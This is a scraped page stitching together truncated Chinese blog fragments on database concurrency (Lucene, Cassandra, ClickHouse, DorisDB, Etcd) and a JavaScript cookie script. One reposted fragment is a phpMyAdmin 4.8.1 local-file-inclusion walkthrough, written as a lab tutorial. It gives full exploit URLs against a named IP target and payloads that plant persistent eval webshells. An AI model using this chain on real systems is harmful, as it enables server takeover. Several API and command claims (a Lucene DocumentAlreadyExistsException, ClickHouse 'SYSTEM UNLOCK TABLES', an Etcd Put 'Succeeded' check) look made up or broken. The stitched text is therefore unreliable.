综上所述，在应对Hadoop中的数据写入重复问题时，除了基础的方法外，我们还可以关注最新技术动态，结合前沿工具和技术方案进行优化，以适应不断变化的大数据环境需求。同时，深入理解分布式系统原理，以及学习如何在实践中运用事务、唯一标识符生成机制等方法，也是确保数据质量和系统稳定性的关键所在。

...意权限管理和异常处理机制，以防止潜在的安全风险，确保数据安全和系统稳定性。因此，理解并遵循最佳实践来执行文件操作是每个Node.js开发者必备技能之一。

...ion：深入理解与实践 1. 引言 Apache Lucene，作为一款强大的全文搜索引擎库，以其卓越的性能和灵活性赢得了广大开发者们的青睐。然而，在实际开发过程中，我们可能会遇到一个特定的异常——DocumentAlreadyExistsException。当你尝试往索引里塞一个已经存在的文档时，系统就会抛出这个异常。这篇内容会手把手带你“穿越”到这个异常的背后，探寻它产生的真正原因，并且，咱们还会通过一些实际的代码例子，一起研究下到底如何巧妙地应对这种状况。 2. DocumentAlreadyExistsException的理解 在Lucene的世界里，每个文档都有其独一无二的标识符——document id。当我们试图使用相同的document id创建并添加一个新的文档到索引时，DocumentAlreadyExistsException就会闪亮登场。这是因为Lucene这个家伙，为了确保索引数据的整齐划一、滴水不漏，坚决不让两个相同ID的文档同时存在于它的数据库里。就像是图书管理员坚决不让两本同书名、同作者的书籍混进同一个书架一样，它对索引数据的一致性和完整性要求可是相当严格的呢！ java // 创建一个新的文档 Document doc = new Document(); doc.add(new StringField("id", "123", Field.Store.YES)); doc.add(new TextField("content", "This is a sample document.", Field.Store.YES)); // 尝试将文档添加到索引（假设索引中已有id为"123"的文档） IndexWriter writer = new IndexWriter(directory, new IndexWriterConfig()); try { writer.addDocument(doc); } catch (DocumentAlreadyExistsException e) { System.out.println("Oops! A document with the same ID already exists."); // 这里是异常处理逻辑... } 3. 遇到DocumentAlreadyExistsException时的思考过程 首先，当此异常出现时，我们应当反思一下业务逻辑。是不是有用户不小心手滑了，或者咱们的系统设计上有个小bug，让一份文档被多次抓取进了索引里？要是真有这样的情况，那我们得在最上面的应用层好好瞅瞅，做点相应的检查和优化工作，确保同样的内容不会被反复提交上去。 其次，如果确实有更新文档的需求，而不是简单地添加新的文档，那么应该采用IndexWriter.updateDocument()方法替换原有的文档，而非addDocument()： java Term term = new Term("id", "123"); writer.updateDocument(term, updatedDoc); // 更新已存在的文档 最后，对于一些需要保证唯一性的场景，例如日志记录、订单编号等，可以考虑在索引建立阶段就设置IndexWriterConfig.setMergePolicy(NoDuplicatesMergePolicy.INSTANCE)，从而避免因并发写入导致的重复文档问题。 4. 深入探讨与应对策略 在实践中，处理DocumentAlreadyExistsException不仅关乎对Lucene机制的理解，更需要结合具体应用场景来制定解决方案。比如，我们可以设想这样一种方案：定制一个独特的错误处理机制，这样一来，只要系统一检测到这个异常情况，就会自动启动文档内容合并流程，或者更贴心地告诉你，哎呀，这份文档已经存在了，需要你提供一个新的文档编号。 此外，对于高并发环境下的索引更新，除了利用Lucene提供的API外，还需要引入适当的并发控制策略，如乐观锁、分布式锁等，确保在多线程环境下，也能正确无误地处理文档添加与更新操作。 总结起来，DocumentAlreadyExistsException在Apache Lucene中扮演着守护者角色，提醒我们在构建高效、精准的全文搜索服务的同时，也要注意维护数据的一致性与完整性。如果咱们能全面摸清这个异常状况，并且妥善应对处理，那么咱们的应用程序就会变得更皮实耐造，这样一来，用户体验也绝对会蹭蹭地往上提升，变得超赞！

...序列化事务处理，可以防止因并发操作导致的数据不一致问题，比如脏读、不可重复读和幻读等现象，从而保证了数据库的一致性和可靠性。 序列（Sequence） , 在Oracle数据库中，序列是一种用于生成唯一数值的数据库对象。开发者可以通过创建序列来获取一系列连续且唯一的整数，通常应用于主键生成、序列号生成等场景。例如，在文章中提到的创建序列语法，允许用户自定义序列的初始值、增量值、最大值和最小值，以及是否启用缓存功能，以满足不同业务场景的需求。 排他锁（Exclusive Locks） , 在数据库并发控制机制中，排他锁是一种锁定类型，当一个事务对数据资源获得排他锁后，其他事务将无法对该数据进行任何修改或加锁，只能等待该排他锁被释放。在Oracle序列化事务处理中，开启序列化模式后，事务在执行操作前会自动获取数据资源的排他锁，以此确保同一时间内只有一个事务能修改数据，实现事务间的有序执行，避免并发冲突。

...中实现分布式锁：深入实践与代码示例 1. 引言 当我们面对高并发的分布式系统时，保证数据的一致性和操作的原子性成为了一项至关重要的挑战。分布式锁，就是解决这个问题的神器之一。想象一下，在一个有很多节点的大环境里，它能确保同一时刻只有一个节点能够独享执行某个特定操作的权利，就像一个严格的交通警察，只允许一辆车通过路口一样。虽然Redis、ZooKeeper这些家伙在处理分布式锁这事上更常见一些，不过Apache Cassandra这位NoSQL数据库界的扛把子，扩展性超强、一致性牛哄哄的，它同样也能妥妥地支持分布式锁的功能，一点儿也不含糊。这篇文章会手把手带你玩转Cassandra，教你如何机智地用它来搭建分布式锁，并且通过实实在在的代码实例，一步步展示我们在实现过程中的脑洞大开和实战心得。 2. 利用Cassandra的数据模型设计分布式锁 首先，我们需要理解Cassandra的数据模型特点，它基于列族存储，具有天然的分布式特性。对于分布式锁的设计，我们可以创建一个专门的表来模拟锁的存在状态： cql CREATE TABLE distributed_lock ( lock_id text, owner text, timestamp timestamp, PRIMARY KEY (lock_id) ) WITH default_time_to_live = 60; 这里，lock_id表示要锁定的资源标识，owner记录当前持有锁的节点信息，timestamp用于判断锁的有效期。设置TTL（Time To Live）这玩意儿，其实就像是给一把锁定了个“保质期”，为的是防止出现死锁这么个尴尬情况。想象一下，某个节点正握着一把锁，结果突然嗝屁了还没来得及把锁解开，这时候要是没个机制在一定时间后自动让锁失效，那不就僵持住了嘛。所以呢，这个TTL就是来扮演救场角色的，到点就把锁给自动释放了。 3. 使用Cassandra实现分布式锁的基本逻辑 为了获取锁，一个节点需要执行以下步骤： 1. 尝试插入锁定记录 - 使用INSERT IF NOT EXISTS语句尝试向distributed_lock表中插入一条记录。 cql INSERT INTO distributed_lock (lock_id, owner, timestamp) VALUES ('resource_1', 'node_A', toTimestamp(now())) IF NOT EXISTS; 如果插入成功，则说明当前无其他节点持有该锁，因此本节点获得了锁。 2. 检查插入结果 - Cassandra的INSERT语句会返回一个布尔值，指示插入是否成功。只有当插入成功时，节点才认为自己成功获取了锁。 3. 锁维护与释放 - 节点在持有锁期间应定期更新timestamp以延长锁的有效期，避免因超时而被误删。 - 在完成临界区操作后，节点通过DELETE语句释放锁： cql DELETE FROM distributed_lock WHERE lock_id = 'resource_1'; 4. 实际应用中的挑战与优化 然而，在实际场景中，直接使用上述简单方法可能会遇到一些挑战： - 竞争条件：多个节点可能同时尝试获取锁，单纯依赖INSERT IF NOT EXISTS可能导致冲突。 - 网络延迟：在网络分区或高延迟情况下，一个节点可能无法及时感知到锁已被其他节点获取。 为了解决这些问题，我们可以在客户端实现更复杂的算法，如采用CAS（Compare and Set）策略，或者引入租约机制并结合心跳维持，确保在获得锁后能够稳定持有并最终正确释放。 5. 结论与探讨 虽然Cassandra并不像Redis那样提供了内置的分布式锁API，但它凭借其强大的分布式能力和灵活的数据模型，仍然可以通过精心设计的查询语句和客户端逻辑实现分布式锁功能。当然，在真实生产环境中，实施这样的方案之前，需要充分考虑性能、容错性以及系统的整体复杂度。每个团队会根据自家业务的具体需求和擅长的技术工具箱，挑选出最合适、最趁手的解决方案。就像有时候，面对复杂的协调难题，还不如找一个经验丰富的“老司机”帮忙，比如用那些久经沙场、深受好评的分布式协调服务，像是ZooKeeper或者Consul，它们往往能提供更加省时省力又高效的解决之道。不过，对于已经深度集成Cassandra的应用而言，直接在Cassandra内实现分布式锁也不失为一种有创意且贴合实际的策略。

乐观锁机制 , 在数据库和搜索引擎技术中，乐观锁是一种并发控制策略，它假设在数据更新过程中发生并发冲突的概率较低。在Apache Solr中，乐观锁通过版本号控制实现，系统不对资源进行锁定，而是让所有事务都可以尝试进行修改，但在提交事务时检查数据的版本号是否发生变化，如果发现版本不一致，则拒绝后到达的事务，从而避免数据被错误地覆盖或丢失。 唯一键(uniqueKey) , 在Apache Solr索引文档结构中，唯一键是一个标识符字段，其值在整个集合中必须是唯一的。该字段用于确保每个文档在整个Solr索引中的唯一性，防止重复记录，并在处理并发写入冲突时作为判断依据，即多个请求不能同时更新具有相同唯一键的文档。 分布式事务 , 分布式事务是指跨越多个数据库或服务（如Apache Solr）的一系列操作，这些操作作为一个整体要么全部成功执行，要么全部失败回滚，以保证分布式环境下的数据一致性。在Solr中，通过TransactionLog功能可以支持ACID特性（原子性、一致性、隔离性和持久性），实现在高并发环境下对多个文档更新操作的事务管理，即使涉及不同Shard也能保持事务完整性。

...ception：表已锁定异常” 1. 引言 ClickHouse，作为一款高性能的列式数据库管理系统，在大数据分析领域因其卓越的查询性能和灵活的数据处理能力而备受青睐。不过在实际操作的时候，咱们可能会时不时撞上一个挺常见的问题——"表已锁定异常"（这货叫"TableAlreadyLockedException"），意思就是这张表格已经被别人锁住啦，暂时动不了。这篇文章，咱会用大白话和满满的干货，实实在在的代码实例，带你一步步深挖这个问题是怎么冒出来的，一起琢磨出解决它的办法，并且还会手把手教你如何巧妙避开这类异常情况的发生。 2. “TableAlreadyLockedException”：现象与原因 2.1 现象描述 在执行对ClickHouse表进行写入、删除或修改等操作时，如果你收到如下的错误提示： sql Code: 395, e.displayText() = DB::Exception: Table is locked (version X has a lock), Stack trace: ... 这就是所谓的“TableAlreadyLockedException”，意味着你尝试访问的表正处于被锁定的状态，无法进行并发写入或结构修改。 2.2 原因剖析 ClickHouse为了保证数据一致性，在对表进行DDL（Data Definition Language）操作，如ALTER TABLE、DROP TABLE等，以及在MergeTree系列引擎进行数据合并时，会对表进行加锁。当多个请求同时抢着对同一张表格做这些操作时，那些不是最先来的家伙就会被“请稍等”并抛出一个叫做“表已锁定异常”的小脾气。 例如，当你在一个会话中执行了如下ALTER TABLE命令： sql ALTER TABLE your_table ADD COLUMN new_column Int32; 同时另一个会话试图对该表进行写入： sql INSERT INTO your_table (existing_column) VALUES (1); 此时，第二个会话就会触发“TableAlreadyLockedException”。 3. 解决方案及实践建议 3.1 避免并发DDL操作 尽量确保在生产环境中，不会出现并发的DDL操作。可以通过任务调度系统（如Airflow、Kubernetes Jobs等）串行化这类任务。 3.2 使用ON CLUSTER语法 对于分布式集群环境，使用ON CLUSTER语法可以确保在所有节点上顺序执行DDL操作： sql ALTER TABLE ON CLUSTER 'your_cluster' your_table ADD COLUMN new_column Int32; 3.3 耐心等待或强制解锁 如果确实遇到了表被意外锁定的情况，可以等待当前正在进行的操作完成，或者在确认无误的情况下，通过SYSTEM UNLOCK TABLES命令强制解锁： sql SYSTEM UNLOCK TABLES your_table; 但请注意，这应作为最后的手段，因为它可能破坏正在执行的重要操作。 4. 预防措施与最佳实践 - 优化业务逻辑：在设计业务流程时，充分考虑并发控制，避免在同一时间窗口内对同一张表进行多次DDL操作。 - 监控与报警：建立完善的监控体系，实时关注ClickHouse集群中的表锁定情况，一旦发现长时间锁定，及时通知相关人员排查解决。 - 版本管理与发布策略：在进行大规模架构变更或表结构调整时，采用灰度发布、分批次更新等策略，降低对线上服务的影响。 总结来说，“TableAlreadyLockedException”是ClickHouse保障数据一致性和完整性的一个重要机制体现。搞明白它产生的来龙去脉以及应对策略，不仅能让我们在平时运维时迅速找到问题的症结所在，还能手把手教我们打造出更为结实耐用、性能强大的大数据分析系统。所以，让我们在实践中不断探索和学习，让ClickHouse更好地服务于我们的业务需求吧！

...删除相应内容。 为了防止代码重复，我们就有了，文件包含。很多网页如果要用到很多同样的函数，那么我们就可以使用这个文件包含函数，就避免了每个网页又去重复造轮子。 在index.php文件里包含1.txt，而1.txt的内容是phpinfo(),include函数包含1.txt，就会把1.txt的内容当成php文件执行，不管后缀是什么。1.txt也好，1.xml也好，只要里面是php代码，然后有被include函数包含，那么就被当成PHP文件执行。 如果包含的文件不存在，就会出现致命的错误，并报出绝对路径，然是不影响其他功能的执行，比如这里的nf和123的输出。那么就表明include函数，如果出现错误的话，并不会影响其他功能的运行。 如果包含的文件不存在，就会出现致命的错误，并报出绝对路径，影响后面功能的执行，比如这里的nf的输出，后面的功能因为2.txt报错，导致123未执行。那么就表明require函数，如果出现错误的话，会影响后面功能的运行。 只要文件内是php代码，文件包含是不在意文件后缀的。 12345.jpg的传参值是a，那么我们可以写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’) 然后生成一个新的php文件 访问index.php 以上我们接触的全部是本地文件包含 说了本地文件包含，我们再来看远程文件包含 简单来说远程文件包含，就是可以包含其他主机上的文件，并当成php代码执行。 要实现远程文件包含的话，php配置的allow_url_include = on必须为on（开启） 来我们可以来实验一下，把这个配置打开。 “其他选项菜单”——“打开配置文件”——“php-ini” 打开配置文件，搜索allow_url_include 把Off改为On，注：第一个字母要为大写 之后要重启才能生效。 配置开启后，我们来远程文件包含一下，我们来远程包含一下kali上的1.txt，可以看到没有本地包含，所以直接显示的内容。 那我们现在来远程包含一下kali的这个1.txt，看会不会有phpinfo，注意我这里是index文件哦，所以是默认的。 可以看到，包含成功！ 这里可以插一句题外话，如果是window服务器的话，可以让本地文件包含变成远程文件包含。需要开始XX配置，SMB服务。 这里我们可以发现，进入一个不存在的目录，然后再返回上一级，相当于没变目录位置，这个是不影响的，而且这个不存在的目录随便怎么写都可以。 但是php是非常严格的，进入一个不存在的目录，这里目录的名字里不能有？号，否则报错，然后再返回上一级，相当于没变目录位置，这个是不影响的，而且这个不存在的目录随便怎么写都可以。 实战 注意，这里php版本过低，会安装不上 安装好后，我们来解析下源码 1.txt内容phpinfo() 来本地文件包含一下，发现成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt 靶场 http://59.63.200.79:8010/lfi/phpmyadmin/ 先创建一个库名：nf 接着创建表：ff,字段数选2个就行了 然后选中我们之前创建好的库名和表名，开始写入数据，第一个就写个一句话木马，第二个随便填充。 然后我们找到存放表的路径。 这里我们要传参2个，那么就加上&这里我们找到之后传参phpinfo http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo(); 因为a在ff.frm里 <?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号 文件包含成功 用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号 写入成功后，我们连接这个8.php的木马。 http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php 在线测试时这样，但是我在本地测试的时候，还是有点不一样的。我就直接上不一样的地方，前面的地方都是一样的 1，创建一个库为yingqian1984, 2，创建一个表为yq1984 3，填充表数据,因为跟上面一样，2个字段一个木马，一个随便数据 4，找数据表的位置，最后我发现我的MySQL存放数据库的地方是在 C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984 文件包含成功。 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo(); 用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号 传参成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo(); 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...问题，如数据不一致或重复写入，成为了许多企业数据库系统所面临的严峻挑战。这篇文咱要聊聊的，就是那个超给力、实打实能做实时分析的MPP数据库——DorisDB。咱们得钻得深一点，好好掰扯掰扯它那些独具匠心的设计和功能点，是怎么巧妙地把这些问题一一摆平的。 1. 数据一致性问题的痛点剖析 在分布式环境下，由于网络延迟、节点故障等各种不确定性因素，数据一致性问题尤为凸显。想象一下，假如我们在处理一项业务操作时，需要同时把数据塞进很多个不同的节点里头。如果没有一套相当硬核的并发控制方法保驾护航，那么这数据就很容易出岔子，可能会出现不一致的情况，甚至于重复写入的问题。这样的情况不仅影响了数据分析的准确性，还可能导致决策失误，对企业造成严重影响。 2. DorisDB 以强一致性为设计理念 DorisDB从底层架构上就对数据一致性给予了高度重视。它采用基于Raft协议的多副本一致性模型，保证在任何情况下，数据的读写都能保持强一致性。这意味着，甭管在网络出现分区啦、节点罢工等啥不正常的场景下，DorisDB都能稳稳地保证同一份数据在同一时间段里只被正确无误地写入一回，这样一来，就彻底跟数据不一致和重复写入的麻烦事儿说拜拜了。 java // 假设我们在DorisDB中进行数据插入操作 String sql = "INSERT INTO my_table (column1, column2) VALUES ('value1', 'value2')"; dorisClient.execute(sql); 上述代码展示了在DorisDB中执行一条简单的插入语句，尽管实际过程涉及到了复杂的分布式事务处理逻辑，但用户无需关心这些细节，DorisDB会自动保障数据的一致性。 3. 多版本并发控制（MVCC）实现无锁并发写入 DorisDB引入了多版本并发控制（MVCC）机制，进一步提升了并发写入的性能和数据一致性。在MVCC这个机制里头，每当有写操作的时候，它不会直接去碰原有的数据，而是巧妙地创建一个新的数据版本来进行更新。这样一来，读和写的操作就能同时开足马力进行了，完全不用担心像传统锁那样，一个操作卡住，其他的操作就得干等着的情况发生。 sql -- 在DorisDB中，即使有多个并发写入请求，也能保证数据一致性 BEGIN TRANSACTION; UPDATE my_table SET column1='new_value1' WHERE key=1; COMMIT; -- 同时发生的另一个写入操作 BEGIN TRANSACTION; UPDATE my_table SET column2='new_value2' WHERE key=1; COMMIT; 上述两个并发更新操作，即便针对的是同一行数据，DorisDB也能借助MVCC机制在保证数据一致性的前提下顺利完成，且不会产生数据冲突。 4. 高效的错误恢复与重试机制 对于可能出现的数据写入失败情况，DorisDB具备高效的错误恢复与重试机制。如果你在写东西时，突然网络抽风或者节点罢工导致没写成功，别担心，系统可机灵着呢，它能自动察觉到这个小插曲。然后，它会不厌其烦地尝试再次写入，直到你的数据稳稳当当地落到所有备份里头，确保最后数据的完整性是一致滴。 5. 总结与展望 面对数据一致性这一棘手难题，DorisDB凭借其独特的强一致性模型、多版本并发控制以及高效错误恢复机制，为企业提供了可靠的数据存储解决方案。甭管是那种超大型的实时数据分析活儿，还是对数据准确性要求严苛到极致的关键业务场景，DorisDB都能稳稳接住挑战，确保数据的价值被淋漓尽致地挖掘出来，发挥到最大效能。随着技术的不断进步和升级，我们对DorisDB寄予厚望，期待它在未来能够更加给力，提供更牛的数据一致性保障，帮助更多的企业轻松搭上数字化转型这趟高速列车，跑得更快更稳。

...6个浏览历史而且不能重复) 由于以前对javascript了解不够深入 一时间手足无措 后来经过两位高手同事的指点(对这两位同事的敬仰犹如滔滔江水连绵不绝...) 恍然大悟 豁然开朗 成功地完成了此功能的添加 首先来介绍一下javascript中关于此功能的一些对象和方法: 1. window.event对象： event代表事件的状态，例如触发event对象的元素、鼠标的位置及状态、按下的键等等。 event对象只在事件发生的过程中才有效。 2. event.srcElement： 表示该事件的发生源 通俗一点说也就是该事件被触发的地方 3. srcElement.parentNode： 表示该事件发生源的父结点 4. srcElement.tagName： 表示事件发生源的标签名 5. toUpperCase()： 大写化相应字符串的方法 基本上就是这些属性和方法，可能对于刚刚接触javascript的朋友们或者以前很少使用此类功能的朋友来说， 这些对象有些陌生，不过没关系，了解以后发现其实并不难，和javascript验证表单之类的并没有太多的不同。 下面就结合程序给大家一步一步讲解(程序难免有不合理之处，希望大家多多指正，共同进步)： 第一部分：javascript纪录浏览动作 复制内容到剪贴板 代码: function glog(evt) //定义纪录鼠标点击动作的函数 { evt=evt?evt:window.event;var srcElem=(evt.target)?evt.target:evt.srcElement; try { while(srcElem.parentNode&&srcElem!=srcElem.parentNode) //以上这个语句判断鼠标动作是否发生在有效区域，防止用户的无效点击也被纪录下来 { if(srcElem.tagName&&srcElem.tagName.toUpperCase()=="A")//判断用户点击的对象是否属于链接 { linkname=srcElem.innerHTML; //取出事件发生源的名称，也就是和之间的文字，也就是链接名称哈 address=srcElem.href+"_www.achome.cn_"; //取出事件发生源的href值，也就是该链接的地址 wlink=linkname+"+"+address; //将链接名称和链接地址整合到一个变量当中 old_info=getCookie("history_info"); //从Cookies中取出以前纪录的浏览历史，该函数后面有声明 //以下程序开始判断新的浏览动作是否和已有的前6个历史重复，如果不重复则写入cookies var insert=true; if(old_info==null) //判断cookie是否为空 { insert=true; } else { var old_link=old_info.split("_www.achome.cn_"); for(var j=0;j<=5;j++) { if(old_link[j].indexOf(linkname)!=-1) insert=false; if(old_link[j]=="null") break; } } if(insert) { wlink+=getCookie("history_info"); setCookie("history_info",wlink); //写入cookie，该函数后面有声明 history_show().reload(); break; } } srcElem = srcElem.parentNode; } } catch(e){} return true; } document.οnclick=glog;//使每一次页面的点击动作都执行glog函数 第2部分：Cookies的相关函数 复制内容到剪贴板 代码: //cookie的相关函数 //读取cookie中指定的内容 function getCookieVal (offset) { var endstr = document.cookie.indexOf (";", offset); if (endstr == -1) endstr = document.cookie.length; return unescape(document.cookie.substring(offset, endstr)); } function getCookie (name) { var arg = name + "="; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return getCookieVal (j); i = document.cookie.indexOf(" ", i) + 1; if (i == 0) break; } return null; } //将浏览动作写入cookie function setCookie (name, value) { var exp = new Date(); exp.setTime (exp.getTime()+3600000000); document.cookie = name + "=" + value + "; expires=" + exp.toGMTString(); } 第3部分：页面显示函数 复制内容到剪贴板 代码: function history_show() { var history_info=getCookie("history_info"); //取出cookie中的历史记录 var content=""; //定义一个显示变量 if(history_info!=null) { history_arg=history_info.split("_www.achome.cn_"); var i; for(i=0;i<=5;i++) { if(history_arg[i]!="null") { var wlink=history_arg[i].split("+"); content+=("↑"+""+wlink[0]+" "); } document.getElementById("history").innerHTML=content; } } else {document.getElementById("history").innerHTML="对不起，您没有任何浏览纪录";} } 代码差不多就是这些了 就为大家分析到这里 还有不足之处还请大家多多指教 下面可以运行代码查看效果 查看效果 //cookie的相关函数 function getCookieVal (offset) { var endstr = document.cookie.indexOf (";", offset); if (endstr == -1) endstr = document.cookie.length; return unescape(document.cookie.substring(offset, endstr)); } function getCookie (name) { var arg = name + "="; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return getCookieVal (j); i = document.cookie.indexOf(" ", i) + 1; if (i == 0) break; } return null; } function setCookie (name, value) { var exp = new Date(); exp.setTime (exp.getTime()+3600000000); document.cookie = name + "=" + value + "; expires=" + exp.toGMTString(); } function glog(evt) { evt=evt?evt:window.event;var srcElem=(evt.target)?evt.target:evt.srcElement; try { while(srcElem.parentNode&&srcElem!=srcElem.parentNode) { if(srcElem.tagName&&srcElem.tagName.toUpperCase()=="A") { linkname=srcElem.innerHTML; address=srcElem.href+"_www.achome.cn_"; wlink=linkname+"+"+address; old_info=getCookie("history_info"); var insert=true; if(old_info==null) //判断cookie是否为空 { insert=true; } else { var old_link=old_info.split("_www.achome.cn_"); for(var j=0;j<=5;j++) { if(old_link[j].indexOf(linkname)!=-1) insert=false; if(old_link[j]=="null") break; } } / if(insert) //如果符合条件则重新写入数据 { wlink+=getCookie("history_info"); setCookie("history_info",wlink); history_show().reload(); break; } } srcElem = srcElem.parentNode; } } catch(e){} return true; } document.οnclick=glog; function history_show() { var history_info=getCookie("history_info"); var content=""; if(history_info!=null) { history_arg=history_info.split("_www.achome.cn_"); var i; for(i=0;i<=5;i++) { if(history_arg[i]!="null") { var wlink=history_arg[i].split("+"); content+=("↑"+""+wlink[0]+" "); } document.getElementById("history").innerHTML=content; } } else {document.getElementById("history").innerHTML="对不起，您没有任何浏览纪录";} } // JavaScript Document 浏览历史排行(只显示6个最近访问站点并且没有重复的站点出现) history_show(); 点击链接： 网站1 网站2 网站3 网站4 网站5 网站6 网站7 网站8 网站9 如果有其他疑问请登陆www.achome.cn与我联系 提示：您可以先修改部分代码再运行 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_30611227/article/details/117818020。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...配置管理、服务发现、锁定机制等。哎呀，兄弟！在咱们的大规模分布式系统里头，要想让系统健健康康，抗揍能力MAX，就得把数据分散到好几个地方去。这就牵扯到一个超级重要的家伙——Etcd的多实例部署策略了。你得懂它，掌握它，才能确保数据安全，系统稳定。别小瞧了这事儿，这可是咱们系统能不能扛得住大风大浪的关键呢！所以，咱得花点心思，深入研究一下，把Etcd的部署手法摸透，让我们的系统稳如泰山，风雨无阻！ 二、Etcd的多实例部署基础 在Etcd中实现数据的多实例部署，首先需要明确的是，Etcd的设计初衷是为了提供一种高效、可靠的键值存储服务，其核心特性包括一致性、原子性和分区容忍性。哎呀，你这问题一出，我仿佛听到了一群程序员在会议室里热烈讨论的声音。在那种多台电脑一起干活的场景下，我们得保证大家的工作进度都是一样的，就像大家在同一个团队里，每个人的工作进度都得跟上，不能有人落后。这可不是件容易的事儿，得在我们规划怎么布置这些电脑的时候，就想好怎么让数据能快速准确地共享，怎么能让它们在工作时分担压力，就像大家一起扛大包，没人觉得累。还有，万一有个别电脑突然罢工了，我们得有备选方案，确保工作不停摆，就像家里停电了，还得有蜡烛或者发电机来应急。这样，我们的数据才安全，工作才高效，团队协作也才能顺畅无阻。 三、实现步骤 1. 数据分片与副本创建 在多实例部署中，我们将数据按照一定的规则进行分片（如按数据大小、数据类型、访问频率等），然后在不同的Etcd实例上创建副本。这一步骤的关键在于如何合理分配数据，以达到负载均衡的效果。例如，可以使用哈希算法对键进行计算，得到一个索引，然后将该键值对放置在相应的Etcd实例上。 示例代码： go import "github.com/coreos/etcd/clientv3" // 假设我们有5个Etcd实例，每个实例可以处理的数据范围是[1, 5) // 我们需要创建一个键值对，并将其放置在对应的Etcd实例上。 // 这里我们使用哈希函数来决定键应该放置在哪一个实例上。 func placeKeyInEtcd(key string, value string) error { hash := fnv.New32a() _, err := hash.Write([]byte(key)) if err != nil { return err } hashVal := hash.Sum32() // 根据哈希值计算出应该放置在哪个Etcd实例上。 // 这里我们简化处理，实际上可能需要更复杂的逻辑来保证负载均衡。 instanceIndex := hashVal % 5 // 创建Etcd客户端连接。 client, err := clientv3.New(clientv3.Config{ Endpoints: []string{"localhost:2379"}, DialTimeout: 5 time.Second, }) if err != nil { return err } // 将键值对放置在指定的Etcd实例上。 resp, err := client.Put(context.Background(), fmt.Sprintf("key%d", instanceIndex), value) if err != nil { return err } if !resp.Succeeded { return errors.New("failed to put key in Etcd") } return nil } 2. 数据同步与一致性 数据在不同实例上的复制需要通过Etcd的Raft协议来保证一致性。哎呀，你知道吗？Etcd这个家伙可是个厉害角色，它自带复制和同步的超级技能，能让数据在多个地方跑来跑去，保证信息的安全。不过啊，要是你把它放在人多手杂的地方，比如在高峰时段用它处理事务，那就有可能出现数据丢了或者大家手里的信息对不上号的情况。就像是一群小朋友分糖果，如果动作太快，没准就会有人拿到重复的或者根本没拿到呢！所以，得小心使用，别让它在关键时刻掉链子。兄弟，别忘了，咱们得定期给数据做做检查点，就像给车加油一样，不加油咋行？然后，还得时不时地来个快照备份，就像是给宝贝存个小金库，万一哪天遇到啥意外，比如硬盘突然罢工了，咱也能迅速把数据捞回来，不至于手忙脚乱，对吧？这样子，数据安全就稳如泰山了！ 3. 负载均衡与故障转移 通过设置合理的副本数量，可以实现负载均衡。当某个实例出现故障时，Etcd能够自动将请求路由到其他实例，保证服务的连续性。这需要在应用程序层面实现智能的负载均衡策略，如轮询、权重分配等。 四、总结与思考 在Etcd中实现数据的多实例部署是一项复杂但关键的任务，它不仅考验了开发者对Etcd内部机制的理解，还涉及到了分布式系统中常见的问题，如一致性、容错性和性能优化。通过合理的设计和实现，我们可以构建出既高效又可靠的分布式系统。哎呀，未来的日子里，技术这东西就像那小兔子一样，嗖嗖地往前跑。Etcd这个家伙，功能啊性能啊，就跟吃了长生不老药似的，一个劲儿地往上窜。这下好了，咱们这些码农兄弟，干活儿的时候能省不少力气，还能开动脑筋想出更多好玩儿的新点子！简直不要太爽啊！

